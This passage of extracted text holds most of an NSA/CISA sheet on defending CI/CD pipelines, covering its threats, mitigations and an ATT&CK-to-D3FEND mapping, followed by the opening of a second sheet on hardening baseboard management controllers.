vulnerabilities include buffer overflows, +format string vulnerabilities, and improper error handling. +Poisoned pipeline execution +Poisoned pipeline execution (PPE) is a technique that MCAs use to poison the Cl +pipeline. This technique allows MCAs to abuse permissions in source code +management repositories to manipulate the build process. During this type of +compromise, an MCA injects malicious code or commands into the build pipeline +configuration, poisoning the pipeline to run malicious code during the build process. [3] +Insufficient pipeline access controls +An MCA might abuse the lack of access control permissions to pivot in a CI/CD pipeline, +which could allow them to inject malicious code into an application. CI/CD pipelinebased access controls (PBAC) grant or deny access to resources and systems inside +and outside the execution environment. Pipeline execution nodes use these resources +to perform various actions. See OWASP CICD-Sec-5: Insufficient PBAC for more detail. +Insecure system configuration +An MCA can exploit system misconfigurations in a CI/CD environment. A CI/CD system +may contain various infrastructure, network, and application configurations. These +configurations impact the security posture of the CI/CD pipeline and its susceptibility to +exploitation. See OWASP CICD-Sec-7: Insecure System Configuration for more detail. +Usage of third-party services +Third-party services are often utilized in CI/CD pipelines. This integration facilitates +rapid development and delivery. An MCA can take advantage of the improper usage of +third-party services to introduce security weaknesses into the pipeline. Examples of +third-party services are GitLab, GitHub, and Travis CI. +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +Exposure of secrets +MCAs have exploited CI/CD pipelines by using exposed secrets to gain initial access. +Secrets (e.g., private keys and passwords) are required for authentication between tools +and in the build and deployment process to ensure deployed resources have access. +Cloud native CI/CD tools employ numerous secrets to gain access to many sensitive +resources, such as databases and codebases. +Threat scenarios +The following are three potential threat scenarios to consider and their corresponding +mitigations. These scenarios are not all-inclusive, so consider other threat scenarios as +well that are relevant to a particular CI/CD environment based on its attack surface. +Scenario 1: MCAs acquire a developer +s credential to access a Git repository +service (e.g., stolen personal token, SSH key, browser cookie, or login +password). Typically, an MCA will go after 1) valid accounts for a source code +repository, 2) valid accounts for a CI/CD Service, or 3) valid admin account of a +server hosting a source code repository. + Recommended mitigations: + Minimize the use of long-term credentials. + Utilize two-person rules (2PR) for all code updates. + Secure user accounts. + Implement least-privilege policies for CI/CD access. + Implement network segmentation and traffic filtering [CPG 2.F]. +Scenario 2: Supply chain compromise of an application library, tool, or container +image in a CI/CD pipeline that leads to a poisoned DevSecOps environment. + Recommended mitigations: + Restrict untrusted libraries and tools. + Analyze committed code. + Implement endpoint detection and response (EDR) tools and +auditing. + Keep CI/CD tools up-to-date. + Maintain up-to-date software and operating systems. +Scenario 3: Supply chain compromise of a CI/CD environment that 1) modifies +the CI/CD configuration, 2) injects code into the IaC configuration, 3) injects code +into the source code, or 4) injects a malicious or vulnerable dependency. + Recommended mitigations: +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +Analyze committed code. +Integrate security scanning as part of the CI/CD pipeline. +Keep audit logs. +Implement EDR tools. +Add signature to CI/CD configuration and verify it. +Implement software bill of materials (SBOM) and software +composition analysis (SCA). +The following figure illustrates different attack vectors using the example of a CI/CD +pipeline hosted in Amazon Web Services (AWS) and using common AWS services. +Similarly, these attack vectors apply to other CI/CD pipelines generally, whether hosted +in the cloud or on-premises. +Figure 2: Different attack vectors in an AWS CI/CD pipeline +Active hardening +NSA and CISA recommend organizations implement the following mitigations to help +secure CI/CD environments. A zero trust approach, where no user, endpoint device, or +process is fully trusted, will help detect and prevent successful compromise of the +environment. [4] Organizational transition to zero trust can be aided by referencing +CISA +s Zero Trust Security Maturity Model and NSA +s Advancing Zero Trust Maturity +Throughout the User Pillar. +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +Authentication and access mitigations +Use NSA-recommended cryptography +NSA and CISA recommend the implementation and configuration of strong +cryptographic algorithms when configuring cloud applications and services. Proper +implementation and configuration of these algorithms augments the protection of data, +secrets, application programming interfaces (APIs), and keys generated across the +CI/CD pipeline. The utilization of weak and outdated cryptographic algorithms poses a +threat to CI/CD pipelines, which may result in sensitive data exposure, data leakage, +broken authentication, and insecure sessions +violations that MCAs could exploit to +circumvent the CI/CD pipeline and software supply chain. +National Security Systems (NSS) are required to use the algorithms in the NSAapproved Commercial National Security Algorithm (CNSA) Suite (see Annex B of +Committee on National Security Systems Policy (CNSSP) 15). +Non-NSS U.S. Government systems are required to use the algorithms as specified by +the National Institute of Standards and Technology (NIST), which includes the +algorithms approved to protect NSS. NSA and CISA recommend using the +cryptographic implementations that have undergone testing, such as Federal +Information Processing Standards (FIPS) validation [CPG 2.K]. +Minimize the use of long-term credentials +Use strong credentials that are resistant to stealing, phishing, guessing, and replaying +wherever and whenever possible. For human authentication, always use identity +federation and phishing-resistant security tokens to obtain temporary SSH and other +keys. For software-to-software authentication, avoid using software-based long-term +credentials as much as possible. +In cloud environments, take advantage of cloud-provided temporary and ephemeral +credentials that are available for compute services. For non-cloud environments, where +long-term credentials sometimes must be used (e.g., boot-strapping authentication +based on public keys in x509 certificates), carefully manage and protect all associated +private keys. +Add signature to CI/CD configuration and verify it +NSA and CISA recommend implementing secure code signing to establish digital trust +within the CI/CD pipeline. Ensure code is continuously and properly signed and that the +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +signature is verified throughout the CI/CD process, regardless of the stage of +development. If the signature does not validate, investigate the cause of the validation +issue. It could be a minor configuration problem or a sign of a larger breach. +Code signing establishes the authenticity of new releases. If a code signing identity +itself is compromised, it undermines trust. NIST +s Security Considerations for Code +Signing describes the concept of digitally signing code for data integrity and source +authentication. It also explains features and architectural relationships of typical code +signing solutions that are widely deployed today to support various use cases. +Utilize two-person rules (2PR) for all code updates +No single developer should be able to check in code without another developer +reviewing and approving the changes. This practice not only increases code quality +generally, it also means that the compromise of a single developer +s credentials is much +less likely to result in malicious code being successfully checked in. +Implement least-privilege policies for CI/CD access +The CI/CD pipeline should not be accessible by everyone in the organization. If +personnel request access, they should not automatically receive access to all pipelines, +but only limited access with certain privileges [CPG 2.E]. Developers should only have +access to the pipelines they are tasking and the components they are updating. +Separation of duties should be implemented. For example, developers checking in +source code do not need the privilege for updating the build environment, and engineers +in charge of builds do not need read-write source code access. For more detail on +implementing security controls, see NIST SP 800-53.1 Use well-authenticated, +concurrent versioning systems and keep long histories of changes tagged to specific +users. +Mitigate password risks by implementing multi-factor authentication (MFA). Enforce +MFA for users within and outside the organization and complement it with role-based +access control (RBAC), following the principle of the least privilege [CPG 2.H]. [5] +1 NIST 800-53 rv5 Control NIST IDs that aligns to implementing security controls AC-2 (1), AC-2 (2), AC-2 (4), AC-2 (9), AC-2 (10), AC-03 (07), SC-07 (05), AC- +17(2), SC-7, SC-8(1), AC-5, AC-6, AC-6 (1), AC-6 (2), AC-6 (3), AC-6 (4), AC-6 (5), AC-6 (9), AC-6 (10), and SC-23 +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +Secure user accounts +Regularly audit administrative user accounts and configure access controls under the +principles of least privilege and separation of duties. Audit logs to ensure new accounts +are legitimate [CPG 2.E]. [6] +Secure secrets +Secure handling of secrets, tokens, and other credentials is crucial in a CI/CD pipeline. +Never pass secrets in plaintext anywhere in the pipeline. Ensure secrets (e.g., +passwords and private keys) are never left embedded in software where they can be +reverse-engineered out. [7] Most modern CI/CD tools come with a secrets management +solution, which means a CI/CD tool can securely store the secrets and pass them using +an indirect reference within the pipeline [CPG 2.L]. [8] +Implement network segmentation and traffic filtering +Implement and ensure robust network segmentation between networks and functions to +reduce the spread of malware and limit access from other parts of the network that do +not need access. Define a demilitarized zone that eliminates unregulated +communication between networks. Filter network traffic to prohibit ingress and egress +communications with known malicious IP addresses [CPG 2.F]. +Development environment mitigations +Maintain up-to-date software and operating systems +NSA and CISA recommend upgrading operating systems and software on all devices, +including development systems and all CI/CD assets, to the latest stable versions +supplied by the vendors. Upgrading the operating system may require additional +hardware or memory upgrades, and obtaining a new software version may require a +maintenance or support contract with the vendor. Consider using a centralized patch +management system that includes a software integrity and validation process, ensuring +that the software has not been maliciously altered in transit. For a list of centralized +patch management system examples, visit Info-Tech Research Group +s reviews on +patch management. +Maintaining up-to-date operating systems and software protects against critical +vulnerabilities and security issues that have been identified and fixed in newer releases. +Devices running outdated operating systems or vulnerable software are susceptible to a +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +variety of known vulnerabilities, and exploiting these devices is a common technique +used by MCAs to compromise a network [CPG 1.E]. +Scan for vulnerabilities and keep software updated. Ensure antivirus/antimalware +programs are updated with current signatures and set to conduct regular scans of +network assets [CPG 1.E]. +Keep CI/CD tools up-to-date +Update the CI/CD tools on a regular schedule. Like other software programs, CI/CD +tools may contain bugs and vulnerabilities. Failure to update CI/CD tools leaves the +pipeline vulnerable and allows an MCA to more easily exploit known vulnerabilities +[CPG 1.E]. +Remove unnecessary applications +Remove any application not deemed necessary for day-to-day operations. +Implement endpoint detection and response (EDR) tools +EDR tools provide a high degree of visibility into the security status of endpoints and +can help effectively protect against MCAs. +Development process mitigations +Integrate security scanning as part of the CI/CD pipeline +Include security scanning early in the CI/CD process. The following tools should be +employed to detect security flaws in CI/CD pipelines: [9] +Static application security testing (SAST): Include a static code analysis tool +in the build stage to check the code for common security vulnerabilities and +compliance issues. +Registry scanning: Scan every image pulled into the pipeline. +Dynamic analysis security testing (DAST): Deploy an instance of the newly +built application to a testing environment and run tests against the application. +No automated security scanning tool is perfect, so it is important to manually review the +code and the CI/CD pipeline. By understanding how the pipeline works and what could +go wrong, the team can ensure that the pipeline is as secure as possible. +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +Restrict untrusted libraries and tools +Only use software, tools, libraries, and artifacts from secure and trusted sources. +Employing software from a trusted source helps minimize the threats posed to the +CI/CD pipeline and prevent potential exploitation (i.e., code execution and backdoors) +by MCAs. Adopting a +never trust/always verify + approach toward software reduces +overall CI/CD attack surface. +Analyze committed code +Securing the CI/CD pipeline involves analyzing the code that is being committed, which +can be achieved manually or by using automated tools. Automated tools can identify +potential security vulnerabilities in the code and track changes over time. Analyzing the +code ensures that only approved changes are made to the code base and that any +potential security vulnerabilities are addressed before they can be exploited. [10], [11] +Remove any temporary resources +A CI/CD pipeline may also create temporary resources, such as virtual machines or +Kubernetes clusters, to run tests. While test environments are usually always live, these +temporary resources are meant to be created for a single test purpose and must be +destroyed after the pipeline run. Failure to destroy these allocations can provide +additional attack vectors to the system that can pose a security threat, placing the +CI/CD pipeline at risk. +Keep audit logs +An audit log should provide clear information on who committed, reviewed, and +deployed what, when, and where. If all previous measures fail, an audit log will at least +help forensically reconstruct an incident post-compromise, so it can be quickly +addressed [CPG 2.T, 2.U]. +Implement software bill of materials (SBOM) and software composition analysis +(SCA) +An SBOM and SCA can play a useful role in the software development lifecycle (SDLC) +and in DevSecOps by helping to track all third-party and open source components in the +codebase. A vulnerability management team will need to evaluate correlations of SBOM +data to known common vulnerabilities and exposures (CVEs) [CPG 1.E]. SBOM should +reflect vulnerabilities as they are found. It is recommended that SBOM results be +ingested into a security information and event management (SIEM) solution, +immediately making the data searchable to identify security vulnerabilities across a fleet +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +of products. This information can also be converted into a human-readable, tabular +format for other data analysis systems. Once an SBOM is available for a given piece of +software, it needs to be mapped onto a list of known vulnerabilities to identify the +components that could pose a threat. NSA and CISA recommend connecting these two +sources of information. See the National Telecommunications and Information +Administration +s Minimum Elements for an SBOM and CISA's SBOM pages for further +reference. Beware, however, that malicious actors can manipulate the content of +SBOMs as well as other artifacts in the pipeline, so SBOMs cannot be presumed +accurate. +Plan, build, and test for resiliency +Build the pipeline for high availability, and test for disaster recovery periodically. +Consider availability (in addition to confidentiality and integrity) threats to the pipeline +during its threat modeling. +Ensure the CI/CD pipeline can elastically scale so that new artifacts can be built and +deployed across all the compute instances quickly, as was necessary to address +Log4Shell exposure in many environments. Consider including coverage for emergency +patch updates in service level agreements (SLA). +Conclusion +The CI/CD pipeline is a distinct and separate attack surface from other segments of the +software supply chain. MCAs can multiply impacts severalfold by exploiting the source +of software deployed to multiple operational environments. By exploiting a CI/CD +environment, MCAs can gain an entryway into corporate networks and access sensitive +data and services. +As a subcomponent of DevSecOps, defending the CI/CD pipeline requires focused and +intentional effort. Keep MCAs out by the following recommended guidance to secure +and harden the CI/CD attack surface. This is essential for ensuring a strong +cybersecurity posture for National Security Systems (NSSs); the Department of Defense +(DoD); the Defense Industrial Base (DIB); federal, state, local, tribal, and territorial +(SLTT) governments; and private sector information system owners. +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +Further guidance +Supplementary NSA guidance on ensuring a secure and defensible network +environment is available at www.nsa.gov/cybersecurity-guidance. Of particular +relevance are: +s Top Ten Cybersecurity Mitigation Strategies +Defend Privileges and Accounts +Continuously Hunt for Network Intrusions +Segment Networks and Deploy Application-aware Defenses +Transition to Multi-factor Authentication +Actively Manage Systems and Configurations +Performing Out-of-Band Network Management +Hardening SIEM Solutions +Mitigating Cloud Vulnerabilities +Securing the Software Supply Chain for Developers +Securing the Software Supply Chain: Recommended Practices Guide for +Suppliers +Additional CISA guidance includes: +Multifactor Authentication +Implementing Phishing Resistant MFA +CISA Releases Cloud Security Technical Reference Architecture +CISA Releases SCuBA Hybrid Identity Solutions Architecture Guidance +Document for Public Comment +ESF Identity Hardening Guidance +Works cited +Pittet S. (2021), +Continuous integration vs. continuous delivery vs. continuous deployment. +https://www.atlassian.com/continuous-delivery/principles/continuous-integration-vs-delivery-vsdeployment +National Institute of Standards and Technology March (2022), +Special Publication 800-204C: +Implementation of DecSecOPs for a Microservices-based Application with Service Mesh. +https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204C.pdf +OWASP Foundation (2023), +OWASP Top 10 CI/CD Security Risks. + https://owasp.org/wwwproject-top-10-ci-cd-security-risks/ +National Institute of Standards and Technology (2020), +Special Publication 800-207: Zero +Trust Architecture. + https://csrc.nist.gov/publications/detail/sp/800-207/final +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +National Institute of Standards and Technology (2020), +Special Publication 800-53: Security +and Privacy Controls for Information Systems and Organizations. +https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r5.pdf +Department of Defense (2020), +Identity, Credential, and Access Management (ICAM) +Strategy. + https://dodcio.defense.gov/Portals/0/Documents/Cyber/ICAM_Strategy.pdf +Hill M. (2023), +Hard-coded secrets are up 67% as secrets sprawl threatens software supply +chain. + https://www.csoonline.com/article/3689892/hard-coded-secrets-up-67-as-secretssprawl-threatens-software-supply-chain.html +National Institute of Standards and Technology (2022), +Key Management Guidelines. +https://csrc.nist.gov/projects/key-management/key-management-guidelines +National Institute of Standards and Technology (2022), +Special Publication 800-218: Secure +Development Framework (SSDF) Version 1.1: Recommendation for Mitigating the Risk of +Software Vulnerabilities. + https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800218.pdf +Department of Defense (2021), +DevSecOps Playbook. +https://dodcio.defense.gov/Portals/0/Documents/Library/DevSecOps%20Playbook_DoDCIO_20211019.pdf +Department of Defense (2019), +DoD Enterprise DevSecOps Reference Design. +https://dodcio.defense.gov/Portals/0/Documents/DoD%20Enterprise%20DevSecOps%20Refer +ence%20Design%20v1.0_Public%20Release.pdf +[10] +[11] +Disclaimer of endorsement +The information and opinions contained in this document are provided +as is + and without any warranties or +guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, +manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United +States Government, and this guidance shall not be used for advertising or product endorsement purposes. +Purpose +This document was developed in furtherance of the authoring cybersecurity authorities + cybersecurity missions, +including their responsibilities to identify and disseminate threats to information systems, and to develop and issue +cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate +stakeholders. +Contact +Cybersecurity Report Feedback: CybersecurityReports@nsa.gov +General Cybersecurity Inquiries: Cybersecurity_Requests@nsa.gov +Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov +CISA +s 24/7 Operations Center to report incidents and anomalous activity: Report@cisa.gov or (888) 282-0870 +Media Inquiries / Press Desk: +NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov +CISA Media Relations: 703-235-2010, CISAMedia@cisa.dhs.gov +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +Appendix A: CI/CD threats mapped to MITRE ATT&CK +The first step to securing a CI/CD pipeline is determining the threats and vulnerabilities +within the build and deployment process that require additional security. Threat +modeling can help map threats to the pipeline. Additionally, inventory all CI/CD +connections and treat them as potential points of compromise. The MITRE ATT&CK for +Enterprise framework is a globally accessible knowledge base of adversary tactics and +techniques based on real-world observations. +MITRE +s D3FEND provides a one-stop shop for understanding defensive cyber +techniques and demonstrates the power of collaboration across the public and private +sectors in countering malicious cyber activity. +The following figure and tables list the ATT&CK techniques an MCA may use to exploit +CI/CD pipelines, as well as the D3FEND mitigations to counter these malicious +activities. +Figure 3: CI/CD attack vectors mapped to ATT&CK techniques and D3FEND countermeasures +Initial Access +From the perspective of a cybersecurity practitioner, begin by following the standard +MITRE ATT&CK Matrix definition for Initial Access. Initial Access consists of techniques +that MCAs use to gain an initial foothold within a network. For Initial Access, an MCA +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +may employ the following ATT&CK Tactics and Techniques/Sub-Techniques to exploit a +DevSecOps CI/CD cloud environment: +ATT&CK Tactic +Technique +Initial Access +Supply Chain Compromise [T1195] +Initial Access +Compromise Software Supply Chain [T1195.002] +Initial Access +Valid Accounts [T1078] +D3FEND enumerates the following mitigations to counter these techniques: +D3FEND Tactic +Countermeasure +Application Hardening +Application Configuration Hardening [D3-ACH] +User Behavior Analysis +Local Account Monitoring [D3-LAM] +Execution +Execution consists of techniques that result in adversary-controlled code running on a +blue space system. Techniques that run malicious code are often paired with +techniques from any other tactics to achieve broader goals, such as exploring a network +or stealing data. For Execution, an MCA may employ the following ATT&CK Tactic, +Techniques/Sub-Techniques to exploit a DevSecOps CI/CD cloud environment: +ATT&CK Tactic +Technique +Execution +Container Administration Command [T1609] +Execution +Command and Scripting Interpreter [T1059] +D3FEND enumerates the following mitigations to counter these techniques: +D3FEND Tactic +Countermeasure +Application Hardening +Application Configuration Hardening [D3-ACH] +Execution Isolation +Executable Allow Listing [D3-EAL] +Persistence +Persistence consists of techniques that adversaries use to keep access to systems +across restarts, changed credentials, and other interruptions that could cut off their +access. Techniques used for Persistence include any access, action, or configuration +changes that let them maintain their foothold on systems, such as replacing or hijacking +legitimate code or adding startup code. For Persistence, an MCA may employ the +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +following ATT&CK Tactic, Techniques/Sub-Techniques to exploit a DevSecOps CI/CD +cloud environment: +ATT&CK Tactic +Technique +Persistence +Create Account [T1136] +Persistence +Account Manipulation [T1098] +Persistence +Additional Cloud Credentials [T1098.001] +Persistence +Additional Email Delegate Permissions +[T1098.002] +Persistence +Additional Cloud Roles [T1098.003] +Persistence +SSH Authorized Keys [T1098.004] +Persistence, Privilege Escalation +Create or Modify System Process [T1543] +Persistence, Privilege Escalation +Event Triggered Execution [T1546] +Persistence +Implant Internal Image [T1525] +D3FEND enumerates the following mitigations to counter these techniques: +D3FEND Tactic +Countermeasure +Platform Monitoring +Endpoint Health Beacon [D3-EHB] +User Behavior Analysis +Local Account Monitoring [D3-LAM] +Privilege Escalation +Privilege Escalation consists of techniques that adversaries use to gain higher-level +permissions on a system or network. Adversaries can often enter and explore a network +with unprivileged access but require elevated permissions to follow through on their +objectives. Common approaches are to take advantage of system weaknesses, +misconfigurations, and vulnerabilities. For Privilege Escalation, an MCA may employ the +following ATT&CK Tactic, Techniques/Sub-Techniques to exploit a DevSecOps CI/CD +cloud environment: +ATT&CK Tactic +Technique +Privilege Escalation +Cloud Accounts [T1078.004] +D3FEND enumerates the following mitigations to counter these techniques: +D3FEND Tactic +Countermeasure +Platform Monitoring +Endpoint Health Beacon [D3-EHB] +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +Defense Evasion +Defense Evasion consists of techniques that adversaries use to avoid detection +throughout their compromise. Techniques used for Defense Evasion include +uninstalling/disabling security software or obfuscating/encrypting data and scripts. +Adversaries also leverage and abuse trusted processes to hide and masquerade their +malware. For Defense Evasion, an MCA may employ the following ATT&CK Tactic, +Techniques/Sub-Techniques to exploit a DevSecOps CI/CD cloud environment: +ATT&CK Tactic +Technique +Defense Evasion, Persistence, +Privilege Escalation, Initial Access +Cloud Accounts [T1078.004] +Defense Evasion +Exploitation for Defense Evasion [T1211] +Collection +Data from Cloud Storage [T1530] +Persistence +Implant Internal Image [T1525] +Credential Access, Collection +Adversary-in-the-Middle [T1557] +Execution +Container Administration Command [T1609] +Defense Evasion, Execution +Deploy Container [T1610] +Privilege Escalation +Escape to Host [T1611] +Discovery +Container and Resource Discovery [T1613] +Defense Evasion, Lateral +Movement +Use Alternate Authentication Material [T1550] +Defense Evasion +Impair Defenses [T1562] +D3FEND enumerates the following mitigations to counter these techniques: +D3FEND Tactic +Countermeasure +Platform Monitoring +Endpoint Health Beacon [D3-EHB] +Credential Access +Credential Access consists of techniques for stealing credentials, such as account +names and passwords. Techniques used to get credentials include keylogging or +credential dumping. Using legitimate credentials can give adversaries access to +systems, make adversaries harder to detect, and provide adversaries with the +opportunity to create more accounts to help achieve their goals. For Credential Access, +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +an MCA may employ the following ATT&CK Tactic, Techniques/Sub-Techniques to +exploit a DevSecOps CI/CD cloud environment: +ATT&CK Tactic +Technique +Credential Access +Multi-Factor Authentication Interception [T1111] +Credential Access +Exploitation for Credential Access [T1212] +Credential Access +Steal Application Access Token [T1528] +Credential Access +SAML Tokens [T1606.002] +Credential Access +Private Keys [T1552.004] +Credential Access, Defense +Evasion, Persistence +Modify Authentication Process [T1556] +D3FEND enumerates the following mitigations to counter these techniques: +D3FEND Tactic +Countermeasure +Application Hardening +Application Configuration Hardening [D3-ACH] +Credential Hardening +Multi-Factor Authentication [D3-MFA] +Credential Hardening +One-time Password [D3-OTP] +Harden +Credential Hardening [D3-CH] +Credential Hardening +User Account Permissions [D3-UAP] +Lateral Movement +Lateral Movement consists of techniques that adversaries use to exploit and control +remote systems on a network. Achieving their primary objective often requires exploring +the network to find their target and subsequently gaining access to it. Reaching their +objective often involves pivoting through multiple systems and accounts. For Lateral +Movement, an MCA may employ the following ATT&CK Tactic, Techniques/SubTechniques to exploit a DevSecOps CI/CD cloud environment: +ATT&CK Tactic +Technique +Execution +Command and Scripting Interpreter [T1059] +Privilege Escalation +Exploitation for Privilege Escalation [T1068] +Persistence +Account Manipulation [T1098] +Defense Evasion, Persistence, +Privilege Escalation, Initial Access +Valid Accounts [T1078] +D3FEND enumerates the following mitigations to counter these techniques: +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Defending Continuous Integration/Continuous Delivery (CI/CD) Environments +D3FEND Tactic +Countermeasure +Platform Monitoring +Endpoint Health Beacon [D3-EHB] +Exfiltration +Exfiltration consists of techniques that adversaries may use to steal data from the +network. Once they have collected data, adversaries often package it to avoid detection +while moving it back to their own systems. This can include compression and +encryption. For Exfiltration, an MCA may employ the following ATT&CK Tactic, +Techniques/Sub-Techniques to exploit a DevSecOps CI/CD cloud environment: +ATT&CK Tactic +Technique +Persistence +Create Account [T1136] +Exfiltration +Automated Exfiltration [T1020] +Exfiltration +Exfiltration Over C2 Channel [T1041] +Exfiltration +Exfiltration Over Alternative Protocol [T1048] +Exfiltration +Transfer Data to Cloud Account [T1537] +D3FEND enumerates the following mitigations to counter these techniques: +D3FEND Tactic +Platform Monitoring +U/OO/170159-23 | PP-23-1680 | JUN 2023 Ver. 1.0 +Countermeasure +Endpoint Health Beacon [D3-EHB] +TLP:CLEAR +TLP:CLEAR +National +Secrity +Agency +Cybersecurity and +Infrastructure +Security Agency +| Cybersecurity Information +Harden Baseboard Management Controllers +Summary +Baseboard management controllers (BMCs) are trusted components designed into a computer +hardware that operate separately from the operating system and firmware to allow for remote +management and control, even when the system is shut down. This Cybersecurity Information +Sheet (CSI), authored by the National Security Agency (NSA) and the Cybersecurity and +Infrastructure Security Agency (CISA), highlights threats to BMCs and details actions +organizations can use to harden them. NSA and CISA encourage all organizations managing +relevant servers to apply the recommended actions in this CSI. +Malicious actors target overlooked firmware +A BMC differs from the basic input output system (BIOS) and the Unified Extensible Firmware +Interface (UEFI), which have a later role in booting a computer, and management engine (ME), +which has different remote management functionality. BMC firmware is highly privileged, +executes outside the scope of operating system (OS) controls, and has access to all resources +of the server-class platform on which it resides. It executes the moment power is applied to the +server. Therefore, boot to a hypervisor or OS is not necessary as the BMC functions even if the +server is shutdown. +Most BMCs provide network-accessible configuration and management, and BMC management +solutions administer large numbers of servers without requiring a physical touch. They take the +form of a dedicated circuit chip with discrete firmware that must be maintained separately from +automated or OS-hosted patching solutions. Most BMCs do not provide integration with user +account management solutions. Administrators must perform updates and all administrative +actions affecting BMCs via commands delivered over network connections. +Many organizations fail to take the minimum action to secure and maintain BMCs. Hardened +credentials, firmware updates, and network segmentation options are frequently overlooked, +leading to a vulnerable BMC. A vulnerable BMC broadens the attack vector by providing +malicious actors the opportunity to employ tactics such as establishing a beachhead with preboot execution potential. [1] Additionally, a malicious actor could disable security solutions such +as the trusted platform module (TPM) or UEFI secure boot, manipulate data on any attached +storage media, or propagate implants or disruptive instructions across a network infrastructure. +Traditional tools and security features including endpoint detection and response (EDR) +software, intrusion detection/prevention systems (IDS/IPS), anti-malware suites, kernel security +This document is marked TLP:CLEAR. Disclosure is not limited. Sources may use TLP:CLEAR when information carries minimal or +no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright +rules, TLP:CLEAR information may be distributed without restriction. For more information on the Traffic Light Protocol, see +cisa.gov/tlp. +U/OO/164464-23 | PP-23-1426 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Harden Baseboard Management Controllers +enhancements, virtualization capabilities, and TPM attestation are ineffective at mitigating a +compromised BMC. For these reasons, NSA and CISA recommend organizations pay attention +to the security of their BMCs and apply the hardening actions detailed in the following section. +Recommended actions +These recommended actions align with the cross-sector cybersecurity performance goals +(CPGs) CISA and the National Institute of Standards and Technology (NIST) developed. The +CPGs provide a minimum set of practices and protections that CISA and NIST recommend all +organizations implement. Visit CISA +s Cross-Sector Cybersecurity Performance Goals for more +information on the CPGs, including additional recommended baseline protections. +1. Protect BMC credentials +Change the default BMC credentials as soon as possible. Establish unique user accounts for +administrators, if supported. Always use strong passwords compliant with NIST guidelines such +as SP 800-63B. [2] Do not expose default credentials to an internet connection or untrusted +segment of an enclave [CPG 2.A, 2.B, 2.C, 2.E, 2.L]. +2. Enforce VLAN separation +Establish a virtual local area network (VLAN) to isolate BMC network connections since many +BMC products have a dedicated network port not shared with the OS or virtual machine +manager (VMM). Limit the endpoints that may communicate with BMCs in the enterprise +infrastructure +commonly referred to as an Administrative VLAN. Limit or block BMC access to +the internet. If the BMC requires internet access to update, create rules such that only updatesupporting traffic is permitted during the update download [CPG 2.F, 2.X]. +3. Harden configurations +Consult vendor guides and recommendations for hardening BMCs against unauthorized access +and persistent threats. UEFI hardening configuration guidance may apply to many BMC settings +[CPG 1.E, 2.V, 2.W, 2.X]. [3] +4. Perform routine BMC update checks +BMC updates are delivered separately from most other software and firmware updates. +Establish a routine to conduct monthly or quarterly checks for BMC updates according to the +system vendor +s recommendations and scheduled patch releases. Combine BMC update +installations with routine server maintenance and scheduled downtime when possible. Note that +some servers require a restart after BMC updates, while some can restart the BMC independent +U/OO/164464-23 | PP-23-1426 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Harden Baseboard Management Controllers +of the OS or VMM. BMC updates may be provided via the internet, a local executable, an image +stored on removable media, or network file storage [CPG 1.E]. +Remember: OS patch maintenance solutions do not deliver BMC updates. +5. Monitor BMC integrity +Some BMCs report integrity data to a root of trust (RoT). The RoT could take the form of a TPM, 